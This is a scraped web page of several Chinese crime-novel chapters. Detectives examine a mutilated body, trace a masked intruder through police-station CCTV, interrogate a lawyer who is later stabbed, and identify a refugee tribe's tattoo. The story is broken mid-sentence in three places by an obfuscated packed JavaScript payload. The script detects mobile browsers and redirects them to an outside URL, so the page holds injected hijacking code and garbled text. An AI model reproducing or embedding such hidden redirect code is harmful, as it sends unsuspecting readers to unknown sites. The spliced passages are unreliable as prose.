他的声音还在回响,办公室的门已经砰然摔拢,只剩卫其宏和闻声起身的界至野面面相觑,大眼瞪小眼。 拨完第二个电话后,陈法医开始暗自数数,1, 2, 3……他数到12时,法医室门猛然被拉开,高尚桢都顾不上套另外一只袖子,三步并两步扑进来,“老陈,怎么回事?” 陈理裕难得没有纠正他的称呼,沉着脸将覆盖尸体的白布揭开,其下正是那具废车厂无名男尸。 尸体右上臂外侧,一整块皮肤被割走,暗红色肌肉暴露在外,脂肪和筋膜分布四周,泾渭分明。 高尚桢瞪着缺了皮肤的右臂,半天没说话,许久才长吐口气,“谁干的?什么时候的事?” 就在这时,法医室的门再度被推开,西装革履的程宥出现在门口。陈法医举起戴着解剖手套的手向他挥挥,“调查官。” 程宥转身带上门,向两人点头致意,“我接到你的电话就来了。”他目光扫向尸体,沉默一秒钟,做出陈述:“这里原本是刺有罗马数字VI的纹身。” ……我知道。 高尚桢抹了把脸,看向法医,“就这一个地方皮没了吗?尸体其他地方怎么样?他背后还有一个,就是那个被洗掉的蛇纹身。” “已经彻底检查过了。”陈法医翻转尸体,露出完整背部,“只有右臂一处。”他重新放好尸体,将白布缓缓盖上,几天前在这里的对话忽然响在耳边。 ……目前系统里查不到死者信息,这个VI字纹身能不能鉴定死者身份? ……我只能告诉你这个纹身存在将近10年,不过无论形状还是染料都是最基础的大众款。 看来我们错过了最重要的东西,这一刻在场的两人不约而同的想。 高尚桢已重新冷静下来,“什么时候的事?” 陈法医摘下手套,“昨天深夜到今天凌晨之间。”他语气肯定,“我下班之前还检查过,确定完好无损,当时是晚上六点。今天下午尸体要送入地下冷冻室保存,我提前来做最后一次检查,结果就发现出事了。” 高尚桢环顾四周,法医室的门锁并无损坏痕迹,玻璃窗外面也安有一排粗铁栅栏,他走上前拉开窗,探出手试着逐根掰动,结果证实每一根铁栏牢牢焊在原地,纹丝不动。 他收回手,撵去指间灰尘,吐了口气,“不是外部破坏。楼里到处都是监控,不管谁干的,跑不了他。” 陈法医点点头头,“小晶已经去调监控了。”话音未落,法医助理已匆匆跑回,手里握着一个U盘。 因为伦理等各种原因,法医室内部并没有安装摄像装置,只在通往法医室的走廊处,前中后三段各设一个摄像头;同时作为双重保险,法医室还有独立门禁,仅允许特定权限的人员刷卡出入。 门禁系统清楚显示:昨晚22:05:12 ,属于雇员ID41421的卡刷开了三楼法医解剖室的大门;三秒之后,系统又报警,提示大门未在规定时间内关闭,不过仅仅过了两秒,这条警报便被人为取消。 高尚桢点开中间摄像头的监控记录,快进到22:04,看到屏幕上一个佝偻着背的清洁工手推清洁车,正慢悠悠的从远处走来。 陈法医呼吸有些重,“是祝伯。” 画面中,祝伯将清洁车停下,来到法医室前,凑近用胸卡刷开门,然后顺手用清洁车挡住门。这时门上感应器的红灯开始闪烁以示警告,只闪了两下,就被他熟门熟路的按下取消键。 老年清洁工缓缓转过身,从车下层搬过水桶和一瓶清洁剂,向水桶内倒了小半瓶清洁剂,拎起拖把在水桶里搅了搅,又用力甩了几下,再将清洁车挪开条缝,拖着湿拖布,侧身挤入法医室,清洁车留在身后,挡在门框和墙壁之间。 他进入的时候,监控里的入口轻轻一晃,像水面被扰动,高尚桢知道这是单人识别红外系统被触发——一卡一人,防止尾随。 法医室中气味刺鼻,包括祝伯在内的几位清洁工干活的时候经常敞开门,这并不是秘密,不过一直也没出过大问题,这又怎么…… 他刚想到这里,突然看到清洁车上下层的缝隙之间,有道黑色影子水平滑入,像一张纸飘了过去。 整个过程无声无息,而红外系统安静如常,全无反应。 高尚桢的心脏开始剧烈跳动,他迅速后滑进度条,画面里祝伯动作以两倍速播放,进进出出,拖地扫地,擦门抹窗,一切正常,正常到他开始想把光标倒回去再看一遍,来确认自己是否视力正常,就在此时,监控里的祝伯弯下了腰,背对门口擦拭走廊墙壁。 清洁车的层隙中,那条黑影再度出现。 高尚桢喉咙发干,他点下了0.5X倍速的慢放按钮。松开鼠标的一瞬,清洁车上下层的缝隙中,缓缓平伸出两只胳膊,肘关节向内支住地面,随后,一个黑影以极为缓慢又极为舒张的姿态,从清洁车中流了出来。 是的,只能用“流”这个字眼。 黑影平缓的,无声的,流了出来,再一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十分钟后,盛苒和安月见也看到了这段视频,她们和陈法医的反应差不多,觉得自己在看一个根本不可能在现实中出现的噩梦。 怎么可能? 然而等待她们的,是连环噩梦——更多的监控录像。 根据法医室的监控,高尚桢推测出潜入者进入警局的大致时段,然后他调出昨晚所有楼层的摄像机路,彻查潜入者的行动轨迹。 22:00:11 电梯门打开,祝伯推着清洁车走进来,周围无人。 21:58:18 一名制服警员在三楼大厅讲电话,他说说笑笑,完全没有留意墙壁阴影处,一道影子格外深长,以侧身半蹲的姿势,缓慢精准的前法医室方向前进。 21:57:23 通往楼梯的门从外被刷开,该值班警员从外走入。他在通电话,身后的门徐徐关闭,一个人影在门将要合拢的刹那卡了进来,飞快隐入转角。 21:57:11 楼梯间摄像头数目有限,可见范围内毫无异常,直到制服警员的脚步响起,感应灯一一被激活。他在三楼门外停下脚步。手机响起,他边接电话边刷卡,不知道通向四楼的楼梯间,一个黑影正自上而下,向他无声俯瞰。 21:45::47三名警员从一楼电梯里走出,越过门口装饰用的棕榈树。他们刚走出大门,树后突然人影一闪,随即消失在楼梯深处。 21:42:52 夜晚警局门口,灯光昏暗。负责值班的前台警员低头敲击键盘,自动门忽然向两侧滑开一条窄缝——感应器被触发了,但门前空无一人——大门很快重新关闭,整个过程不到六秒,专心处理文件的警员并未发现一道人影矮身滑入,停到棕榈树后。 会议室里的投影亮着,各个监视器画面定格在黑影进出的瞬间。 高尚桢垂头揉动太阳穴,抑制住懊恼的心绪。 昨晚我在办公室打地铺,就在二楼。他想,和这个人只有一楼之隔,要是当时想起来去法医室一趟…… 他摇摇头,将这种无用假设抛下,又向一桌之隔的调查官看去,发现对方注意力已不在投影上,正盯着手里的矿泉水瓶微微出神。 他…… 高尚桢刚要开口,手机忽然震动,是界至野发来的短信。 ——老大,林律奚带回来了,十分钟后到。 高尚读着消息,脑海中闪过年轻律师那张俊美的脸,他抬起头,目光再度锁住白幕上的黑影,慢慢攥紧了手机。 7. 审讯室 高尚桢扫了眼安月见,见她眼睛仍旧盯着定格的投影画面,神情凝滞,显然还处于震惊当中,即将出口的话就转了弯,“盛苒,林律奚被带回来了,你和老界准备一下审讯。” 盛苒点点头,整理了下警服,推开椅子朝门口走去,安月见愣了一会,不知自己该怎么办,见副组长转身朝这边招招手,才如梦初醒,手忙加乱的跟了上去。 高尚桢暗自摇头,他本想给新人一个锻炼机会,但安月见明显被昨晚潜入者的监控视频搅乱心神,目前状态并不适合审讯。这也不能怪她,就连他自己在接到短信的霎那也有点恍惚,花了半秒才明白过来“林律奚带回来了”是什么意思。 大概整个屋子里毫无反应的只有一个人。 他又朝调查官递去一眼,对方将矿泉水瓶放在桌上,站起身,把座椅推回原位,向他笑笑,“我也来观摩一下。”说着拿起水瓶,和他一前一后走向审讯室。 审讯室里安静得出奇。 管灯投下冷肃的白光,方桌后的人影被切割得异常锋利,而其人西服领口那枚银质徽章,随着他的轻微移动泛出刺目光芒,仿佛离鞘的剑,与审讯室的孤绝无声对峙。 墙角摄像头的红点一闪一灭,录音麦克风捕捉着他每一声呼吸。 墙的另一侧,高尚桢正抱着手,透过单向镜看向室内。 没追过星,不知道现实中的明星到底怎么样。他想,单从这个距离看,这个人可比明星漂亮多了,嗯,衣服真和王司机说的一样,半点褶都没有。 审讯室内界至野和嫌疑人隔桌相对,无论是对方俊美异常的外表还是领口上闪闪发光的律师徽章,都对这位中年刑警没半点影响。 他将桌上的执笔向前一推,冷冷开口,“说说吧,你为什么到警局来。” 林律奚细黑的眉毛微微挑高,这个问题似乎让他感到好笑,“您是在问我吗?警官?”他的声音清澈而悦耳,“我记得很清楚,一个小时前,你和另一位警官进入律所,以‘配合调查’的名义,将我从与客户的电话会议里‘请’到了警局。”他在请字上加重了声调。 界至野拍了下桌子,很没好气,“是我问你,不是你问我!别油腔滑调的!快点,先谈谈你自己,为什么到红驼来,最近干了些什么!” 林律奚双手交叠,食指无声扣击,神色有些玩味:“这是正式审讯?还是像之前您说的,‘配合调查’?” 界至野眯着眼向他冷笑,“是哪一种要看你合作态度。”他手指在桌面上不耐烦的敲击着,发出一连串咚咚咚的声音。 林律奚身体靠向椅背,轻轻整理西装袖口,“这样啊。那我考虑了一下,还是等我律师到场,我们再开始‘合作’也不迟,界警官。” 界至野眉毛一立,马上就要发火骂人,这时他身边一直没开口的盛苒向他抬手,轻声细语的劝解着:“老界,我们请人家过来是问问情况。你看你,别着急,要注意态度。” 界至野冷哼一声,朝后一仰,没再说话。 盛苒转过头,向年轻律师微微一笑,“您好,感谢您配合调查,我叫盛苒。” 林律奚稍稍调整坐姿,向前靠近点,眼神在两位警官扫个来回,声线平稳:“盛警官,我当然愿意配合,但我想强调的是,警方行动必须在程序和法律允许的范围内。” 盛苒点点头,推了推鼻梁上的镜架,“请放心,林先生,我们只是希望了解一些基本情况。”她低头看了看手里的信息页,“据我们了解,您在杜蒙律所工作,办公室在赛因港,这次是因为工作到红驼来吗?” “对。”林律奚神色间有一丝居高临下的傲慢,“不过具体信息涉及客户企业,我不能泄露。” 盛苒再次笑了笑,“这是当然,我们完全理解,您是什么时候到的?” “上个月十四号。” 十四号。 高尚桢咪起了眼睛。 九月十四,白行人死亡当日。 盛苒笑容不变,“还适应吗?我们这里气候很干,对海边的人来说不容易吧。” 林律奚舒展下肩膀,声音多了点谨慎的温度,“还可以。” “打算在这里多久?”盛苒问。 林律奚轻嘘口气,“不好说,要看工作进展。” 眼见审讯室里的剑拔弩张渐渐化为无形,安月见松口气,压低声音问旁边的卫其宏:“去的时候还顺利吧。” 卫其宏斜眼瞄瞄她,“你那么小声干什么,这都隔音了,里面又听不见。顺利,当然顺利,有界老装傻充愣,不顺利也得顺利,哈。” 这时一墙之隔的盛苒已步入正题,“我们想了解一下,请问上周四晚上您都做了些什么?工作还是外出。” “周四?”林律奚抬起头,似在回想,“那天我不在红驼,去了中心城参加一个法律活动,直到周五下午才回来。” “这样啊,好的。”盛苒捋了捋垂落面庞的发丝,“那么……”她低下头,状似无意的翻动下文件,突然抬头,目光烁烁凝视年轻人,“那这个周一呢?不,具体说,是周二凌晨两点到四点,你在哪里?做什么?和谁在一起?有谁能证明?” 这个特殊时间点终于被道破,林律奚的脸色也在刹那间变了。 像被圆锥尖扎到一样,律师那种有些放松的坐姿陡然僵直,他的眼睛不自主的瞪大,呼吸粗了起来,虽然他几乎立刻就恢复常态,但这稍纵即逝的变化并没有逃过墙内外审视者的眼睛。 高尚桢右手压住玻璃,身体前倾,清楚的看到律师飞快眨眼,抿唇,又貌似平静的开口,“周二凌晨?呃,我想想……大概在加班吧,不太记得了。最近比较忙,有点晕头转向。” “希望这个能提醒到你。”盛苒从文件夹里抽出那两张人物肖像画,并排摆到他面前的桌面上,紧盯住他的眼睛,慢慢发问:“记得吗?” 林律奚垂下眼皮扫了眼画像,唇角上扬,“有趣。什么时候画的?画技还挺不错。” 盛苒一错不错的盯住他,“这是根据目击者证词所复原出的肖像,时间就是周二凌晨。” 林律奚从肖像画上移开视线,再度露出那种不动声色的傲慢,“目前已进入审讯环节,我建议等我的律师到场。” 盛苒摇摇头,语气又一次柔和下来,“不,您误会了。这只是普通问询,当然你也可以等到律师到了再回答。不过,”她顿了顿,意味深长,“我刚刚提到有目击者,你就不好奇到底被目击到什么吗?” 林律奚瞄一眼静静记录的摄像头,略作思索后,突然笑了,“想起来了,周二凌晨我打车去了城外,大概两点多吧。”他抬头看向桌后的警官,“这样的信息足够吗?还有什么问题我能帮忙?” 界至野猛的抻直身体,声音骤高:“什么帮忙!这是交代!你说清楚,那么晚你干什么去了!” “我不能透漏太多,只能告诉你一点点,”青年律师并没有被他突如其来的脾气吓倒,只是随意的耸耸肩,流露出一点年轻人的促狭来,“我在杜蒙负责企业兼并,有位客户对红驼土地开发有兴趣,我帮他核查情况。” 界至野冷笑,“半夜三点去荒郊野外核查?你这客户要搞坟场开发?” 律师面露无奈,点头同意他的话,“身为律师,客户有要求我们很难拒绝,可惜碍于保密协议,没办法告诉你们更多内情。” 界至野眉头紧皱,“别以为拿保密协议可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652176|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以当挡箭牌,我跟你说,涉及到案情,啥用没有!” “你在那里呆了多久?干什么了?有什么人?别绕弯子,直接答!” 界至野一连串问题哐哐哐跟炸弹似的扔过去,林律奚蹙起眉看他,手指轻轻扯松领带,语气有些不耐烦,“抱歉,我不能提供具体工作时长和内容,这属于商业机密的一部分。我只能告诉警官你,做完必要核查我就离开了。” “就这些,我有点渴,可以要杯水吗?” 界至野和盛苒飞快的交换个眼神,盛苒微笑,“当然,界警官,你去拿瓶水来吧。” 界至野不情愿站起身,手里的文件夹朝桌面上啪的一丢,几张照片被甩了出来,顺着桌面滑向对侧,其中一张越过桌边,擦过律师西装一角,轻飘飘落在地上。 照片正面朝上,铁柜里死者面色狰狞,身体扭曲,惨烈和极恶的气息几乎要从照片里了渗出来。 此刻林律奚的情绪大概也有一点烦躁,他蹙着眉低下头,视线随意的掠过照片,身体突然僵住了。 他的喉结剧烈滚动了一下,脸色以肉眼可见的速度变白,尽管他马上就调转视线,躲开了照片上的凶杀现场,但右手却在不自觉地攥紧,指节渐渐泛青。 单向镜外,高尚桢凝神而视,目不转睛。 盛苒无奈叹气,慢慢将照片放回文件夹,忽然发现还有一张落在对方脚下,于是礼貌开口:“林先生,请帮忙捡一下,谢谢。” 林律奚的脚缩回半步,停在原地没动,又隔了几秒,他向后挪了挪椅子,就此不动。 盛苒没有等到回应,摇了摇头,自己弯腰将照片拾了起来。 林律奚并没有将位置调回原位,只沉默的靠在椅背上,呼吸有些浅促,直到去而复返的界至野将矿泉水拍上桌面,他也一言不发,始终都没有碰触水瓶。 盛苒继续询问,语气十分和煦,“林先生,你在那里停留多久?” 沉默。 “什么时候离开的?” 沉默? “怎么离开的?” 依然沉默。 林律奚只是坐着,目光避开桌上所有东西,沉默无语。 直到杜蒙的律师到达,这场不算审讯的询问才告停止。 因为缺乏证据,进入警局的三个半小时后,在刑事组刑警们的目送中,林律奚离开了这座四层建筑。 等候电梯的时候,他和身边的律师低声交谈几句,忽然回头向高尚桢的方向望去,很快就收回视线,若无其事的进入电梯。 那个凝望只持续不足两秒,仿佛从未存在过。 来之不易的线索就此断掉,见证了整场闻讯的安月见攥紧了笔记本,有点沮丧,卫其宏安慰她,“这不算什么,你等着瞧吧,就是块石头,迟早组长也能让它开口交代。” 这时高尚桢已开始安排任务,“卫其宏,老界,你们两个去把法医室的录像补一下,和鉴证室那边配合调查,最好找到相应的DNA之类,最起码也把相片给搞出来;安月见,你继续追查那个无名氏的蛇形纹身,看看能不能跟着这条线索查清身份;盛苒,你再仔细查一下林律奚的背景,这么年轻就能当上合伙人,肯定不简单,查到任何情况马上跟我汇报!” 他看了眼站在一旁的程宥,“证物室那边把白行人行李里的衣服包括标签都拍了照片,不少他们都不认识,我看调查官挺有经验的,能不能帮个忙?” 程宥点头,“好。” 在所有人都离开后,高尚桢转身走进了刚才的审讯室。 室内空无一人,摄像头和麦克风已经关闭。 只有桌上的矿泉水还静静立在原处,瓶身上凝着细密的水珠。 8. 距离心脏一厘米 不出所料,即便是混不吝的界至野,看完黑影潜入警局的监控之后,也浑身直冒凉气。他将视频下载到手机上,边看视频边行动,全盘复制了黑衣人的潜入路线,只希望能找到一星半点的痕迹。 然而警局大厅里人来人往,三楼又已被清洁人员打扫干净,连最可能留下线索的楼梯,也找不到任何脚步印发丝之类的痕迹。 界至野蹲在楼梯转角处,那是黑影曾经停留过的位置。监控里,那个黑影就从楼梯的铁栏间,静静俯瞰着下方毫无察觉的警员。 他想象着当时的情景,打了个寒颤,不由自主抬头去看楼上的铁栏。 那里空空如也。 那边和信息组忙了一下午的卫其宏也没好到哪里去,潜入者大多时间都处于监控画面之外,要不然就是背对摄像头,有效记录时间加起来还不到一分半,且基本都在阴影处。技术人员好不容易才截取了几张最清晰的画面,通过降噪和超分辨率放大处理后,却发现这个人脸上包了黑色丝质头罩。 他们本来还想借助专业软件重建面部轮廓,结果也彻底宣告失败——在黑丝罩之下,还有一张塑料面具。 画面上,那张苍白的塑料面具在阴影中泛着微光,空洞的眼孔像两个黑洞。 当时卫其宏半个字也说不出来。 “……除了这些之外,他一身黑也给分析造成很大困难。目前只能初步判断这个人的身高大约在1.65米到1.68米之间,体型偏瘦,其他情况很难下定论。” 当天下午他将这些情况汇报给组长,也明白这个结论很荒谬。有人闯入警局,堂而皇之的破坏尸体之后扬长而去,结果警方愣是什么也没查出来! 他惴惴不安的等在原地,果然见到高组长的脸变得很黑,沉默一会,猛的将笔摔上桌子,“你去打报告,三天之内,必须把楼里监控系统换成最高清的!” 和他们相比,安月见那边的进展就顺利多了。 她联系上某相关研究机构,在其帮助下,很快找到几位研究隆南文化的人类学者,发去蛇形纹身图案后,对方反应迅速,不到一个小时就给她回信,内容都差不多。 ——隆南北部河谷地区流行蛇文化,从这条蛇纹身额头角,腹部多足等特征可以初步判断,该图腾出自当地两个比较大的个部落,都卡尔和瑟干。两个部落都用相似的图腾装饰衣物和纹身,但花纹细节略有差异,还需部落民才能确认。 “隆南内战多年,光南部联区就有好几个难民中心。我已经问过了,确实有难民是从这两个部落出来的。如果组长同意的话,我这就把无名氏的纹身发过去让他们辨认。”安月见汇报完,静等他的指示。 高尚桢看看这个新人,点头鼓励,“干得好,以后这种事不用问我,你自己决定就可以了。”他目送兴奋的新人离开,笑容很快就淡了。 虽然前方似有曙光,然而光芒却太单薄,他想。 好在他从来不是个容易沮丧的人,很快从办公桌里拔出身体,来到白板前,拿起记号笔,在无名氏的线索下填了一行。 ——隆南难民(?)部落(?) 刚放下笔,程宥推门而入,目光落上这行新添的信息,同时递来手中文件。 高尚桢翻了翻,发现是打印出来的照片。第一张是件摆在证物台上的灰褐色上衣,有点旧,面料厚实,胸口和肩膀缝了好几个口袋,袖口有加强缝线;第二张是这件上衣被翻开的领子,领口里面有个简易压标,三角形,中间有条红线弯曲向下,乍看有点类似蛇头;接着是它的内侧标签——KHB-17-EX/Batch 0748。 高尚桢仔细研究着手里的上衣照片,应该是是件野外作业用的工装,并没什么特别之处,不过既然被程宥拿来…… 他望过去,“这是?” “隆南地区武装有时会穿类似的制服。”程宥点了点三角图案,“北方很多部落都有蛇形图腾,他们衣服里也常常有这种符号。”他又指向标签,“这种标签也不会出现在普通服装里。0748,应该指的是48年7月份生产,当地作坊常用生产日期表明批次。一般这类衣服基本都是定制,外界很难获得。” 高尚桢的目光从制服照片上收回,审视的目光投向面前的男人,“调查官懂得真不少。” 程宥笑了笑,“有一点点研究。” ——你说外界很难获得,然后自己有一点点研究…… 高尚桢暗自冷嘲,随即收拢思维,推测起来:“白行人退伍之前的简历很清晰,他肯定不是隆南人。嗯,隆南正打仗,他又当过兵,退伍后长时间行踪不明,证人说他变化很大,只穿当地定制的制服……” 他的手指在纸张边缘轻轻摩挲着,锋利的纸角迅速划破了疑问,“是雇佣兵!” 这一瞬他想起来了死者白行人被中央情报司归为“绝密级别”的档案,想起来中间那些空白年份和左腿上那枚神秘昂贵的弹片,也想起当天关于特种部队的推测。 ——以及他决定置之不理的小道消息,唯一配有这种子弹的特种部队:朗基努斯之枪。 这当中难道真有所关联? 他想了想,回身在左侧白板白行人的信息下补上雇佣兵三个字,握着笔的手稍稍迟疑,手机忽然响了,居然是这阵子对他避之不及的署长主动打来电话。 他看了看程宥,走入一间小会议室,关上门,按下接听键。 等盛苒进入办公区时,正碰到高尚桢从小会议室里走出。后者满脸黑气,一看就知心情不佳,她上前招呼,“组长,查到一些林律奚背景。” 高尚桢冷笑,“背景通天是吧,刚才署长发警告了。”说着把手机朝口袋重重一插,“让我们''注意方式'',''谨慎处理''”。 盛苒点点头,“他祖父是杜蒙的创办者之一,在法律界大名鼎鼎。虽然父母因为车祸很早就去世了,但是家族背景强大,一个叔叔是现在杜蒙的当家人,另一个在商业很有分量。他母亲那边更厉害,他亲舅在军队里,还有个姨。”说着顿了顿,轻声说出一个经常在新闻里出现的名字,“……是他的姨父。” 高尚桢眉头一皱,随即舒展,“难怪上面要加压。”他短短做个结论,就此把署长警告丢到脑后,“还有什么特别的没有?”见盛苒摇头,思索着开口,“他是你审的,多少也探出点深浅了,这个人肯定有问题。” 不等盛苒开口,他已抱起双肘踱到白板前,凝视白板上林律奚的证件照。 相片里的人比审讯室里的律师多了点学生气,面庞同样俊秀。 他端详一会,眉头不自禁拧紧,“一个上流社会的少爷,办的还都是企业方面的案子,怎么会牵涉到一个隆南难民的凶杀里?” "给上面打报告,"高尚桢下令,"要二十四小时监视这个人,他的一举一动都不能放过。" 希望明天报告就能批准。 累了几天的高尚桢回到家,脑子里还在转这个念头。 他迈过乱七八糟的客厅,从冰箱里取出一瓶冰啤酒,咬开瓶盖,斜倚上阳台栏杆,一口一口喝着,思绪总算从案件里拔出来,目光落在客厅地板那堆忘了干净还是脏的衣服,忽然就想起了程宥。 这家伙好像每天都要换套西服,那换下来的怎么办?洗?不洗?洗了又放哪儿?他在红驼可没住所。 这时高尚桢突然意识到,自己确实不知道调查官要如何解决住宿问题,每次与他的对话全部围绕案情,对其个人情况一无所知,更别提开个欢迎会之类的联络感情。 ——反正案子办完他就走人,不用联络。 高组长用一个句号结束掉这段误入歧途的思绪,将它重新拽回了案件的轨道。 难民中心那边最好快点给回信,知道死者是什么人,一定能查到他和林律奚,还有白行人的具体关系。 他想到这里,掏出手机点开文件夹,又将卫其宏整理出来的档案读了一遍。 基本信息 姓名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652177|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :林律奚 性别:男 出生日期:22年X月X日 出生地:中部联区XX市 父亲:林XX (已故) 母亲:XXX (已故) 教育经历: 38–43年:就读史亚德文理学院,本科,主修经济学 43–46年:中央法学院获法学学位 46年秋:通过司法考试 (证号:XXXXXXX) 职业经历: …… 高尚桢的目光突然定住了,他盯着其中某一行信息,神情渐渐凝重,就在这时,手机忽然开始疯狂震动,屏幕上卫其宏的名字赫然跃出。 现在是晚上九点半。 高尚桢心脏瞬间被捏紧,他马上摁下通话键,那头卫其宏急切的喊声在一片嘈杂背景中传来,“组长!林律奚被人捅伤了!现在送到医院,还在抢救!” 尖声鸣叫的警铃中,老式雪佛兰一路闯过各种红灯,十二分钟后已到达纪念医院。 急诊大门前挤了好几辆警车,高尚桢跳下车,向一楼右侧奔去,刚转进走廊,一眼就撞见抢救室状态屏上,“手术进行中”提示闪着红光。 界至野一脸疲惫,盘腿坐在椅子上呆呆出神,卫其宏手里拿着记录本,与一个长发女子交谈。女子一身办公室OL 打扮,手里紧紧攥着一团纸巾,不时揩去泪水。 见上司到来,两名刑警立刻迎上前,高尚桢沉声开口,“现在人怎么样?” 界至野摇摇头,“不知道,还在抢救,已经进去半个小时了。” 高尚桢嘘了口气,“怎么受伤的?什么时候的事?在哪发生的?有目击证人吗?”——他并不问凶手是否被逮捕,面对这个案件,再问这问题就是个傻子。 “被匕首刺伤胸部,时间是晚上七点到八点半之间,具体不太清楚,地点是杜蒙的办公室。”卫其宏低头翻动着手里的小本子,“是棕榈街22号。” 他指一指正在抽泣的长发女子,“这位付小姐是报案人,也是林律奚的助理。据她说受害人四点离开警局后,直接回到律所,她六点下班时对方还在,大概七点半左右,接到林律奚的电话要她明天临时出差,她就回去取相关文件,她大概八点十五左右到达,就发现受害人倒在办公室里,胸前都是血。她马上叫了救护车,救护人员到场之后报了警。” 高尚桢唔了一声,“当时办公楼里还有别人吗?助理回来时有没有看到可疑者?” 卫其宏摇头,“杜蒙在这里还有两个律师,不过根据付小姐所说,他们目前都在外地出差,其他的助理和秘书也下班了,她走的时候律所里就剩下林律奚一个人。”他补充一句,“不过律所前后门都有监控,我已经让人送回局里分析了。” 高尚桢点点头,这一刹那又想起了那道潜入局里的黑影,他并不是个悲观的人,但此时此刻,对摄像头记录的信息,他并不敢抱有太大希望。 时间在焦灼中一分一秒的过去,在指针将要滑向十一点的时候,急救室的指示灯暗了,门从内被推开,几名医护推着移动床出现。 心电监护仪的哔哔声里,林律奚苍白的脸露了出来。 助理付小姐率先冲上去,却被护士隔开,告诉她病人要送往加护病房,让她一切听医嘱,随后医生走出手术间,告知病人被刺伤肺叶,受伤很重,好在救治及时,应该能挺过去。 界至野长长呼了口气,一巴掌拍在额头上,心有余悸,“听说是胸口被刺,我还当是心脏,还好还好。” 医生做了一整晚手术,本来很疲惫,然而听到他的话也不由生起几分感慨,“病人被刺中的是左胸,一般人必死无疑。不过他以前应该做过开胸手术,右肺被切掉一部分。” 医生在胸前立起手掌,向右稍稍平推,“像这样,胸腔缺损导致纵隔右移,心脏被牵拉到偏中,所以这次没有刺中心脏,不过确实很危险,离心脏只有一厘米左右的距离。” 9. 交叉线 情况突然,除了让现场的制服警员在加护病房外值班,高尚桢还是不放心,又从附近分局调了另外的警员过来,这才和两名组员一起离开医院,路上还在想这二十四小时监视的报告白打了,理由现成的,只是嫌疑人监控变成证人保护。 界至野昨晚就没怎么睡,今晚又熬到了快两点,有点撑不住了,一面打哈欠一面发牢骚,“怎么了这是,跟拍电影一样,一个赶着一个来,就没让人喘口气的时候。” 卫其宏到底年轻,虽然折腾了两夜,倒还算精神,眼瞅着组长朝他那辆老车里钻,哎哎两声,“组长,您去哪啊,不是要回局里吧?” 高尚桢朝他们摆摆手,“你们回去休息。”说着自顾自上了车,一脚油门,直朝警局方向开去。 这晚高尚桢又在局里打的地铺,还好他想起来自己三四天没洗澡快馊了,于是赶在组员们到来之前,跑到楼下洗澡间冲了个凉,随便撸吧两下,就顶着一头乱蓬蓬湿漉漉的头发出现在大家面前。 卫其宏早早就来了,还买来一堆面包加咖啡,几个组员啃着面包,站在办公区的白板前里听最新的案情通报。他介绍完昨晚的袭击案后,又加了一句,“医院那边说估计林律奚今天就能清醒,不过暂时回答不了问题,让我们等两天再查。”同时这只乌鸦也宣布了一个坏消息——案发时间段,律所电源被切断,两个摄像头没有任何画面。 意料之中的事,高尚桢倒也不失望,点了盛苒的名字,“你这几天去医院盯一下,要是人能说话了马上询问。”说着看了看表,八点二十,仍然不见程宥和安月见的身影,眉头稍稍一拧,正在这时,大门被拉开,安月见气喘吁吁的跑来,直接报告:“组长,难民中心那边来消息了!” 信是一个难民中心的管理人员发来的。 “……已将贵警局发来的死者照片给都卡尔和瑟干两部难民辨认过,没有人认识死者。不过通过纹身,确定是瑟干部落的图腾。” 他接着写到,“……瑟干部落由三十个多大家族共同构成,经过细节辨认,这个纹身应该是宫姓家族的象征。该家族是部落内最大的家族之一,也是坚决要求和政府军谈判的力量之一。” 卫其宏嘀咕,“宫姓家族?” 安月见继续读邮件,“……瑟干部族男女在十六岁纹刺后,需精心保养以维持终身不退;听说这纹身已被洗掉后,几个难民都认定,你们这位无名死者只可能属于宫氏里一个叫“达”的小分支。” “部落中宫姓里的达氏分支?”卫其宏继续做他的人形复读机,“好复杂。” 没人理他。 “……小分支里某些成员反对和政府军接触,认为应该战斗到底,10年前,也就是40年左右,宫达内部彻底分裂,主张战斗的一派被彻底逐出部落,相应纹身也被强制洗掉。” 偌大办公区鸦雀无声,所有人都在屏息等待下文。 “他们人数不多,大多数都在后来与政府军的交战中死亡,剩下的人则北上偷渡入南部联区。我们已联系到另一个中心,他们那里有两个姓名以宫达开头的难民,等具体情况确实后会马上联系警方。” 安月见停到这里,她看向一头湿毛的组长,满心期待他的表扬,然而高尚桢只顾低头看表。 南部比这边早两个小时,现在十点多,如果他们一早就开始核实,现在应该有结果了。 他抬起头,看到下属企盼的双眼,严肃的点头,“不错,你快给他们打电话,问……”话音没落,就听到“哈哈哈”三声,原来新人刑警的手机发出提示音,他看到女孩子手忙脚乱的捂住手机,在手机屏幕上溜了一眼,突然兴奋起来,“是新邮件!” 办公室里爆发出一阵欢呼。 ——宫达良。 旧车回收站的尸体被发现八天后,死者的身份终于被查清。 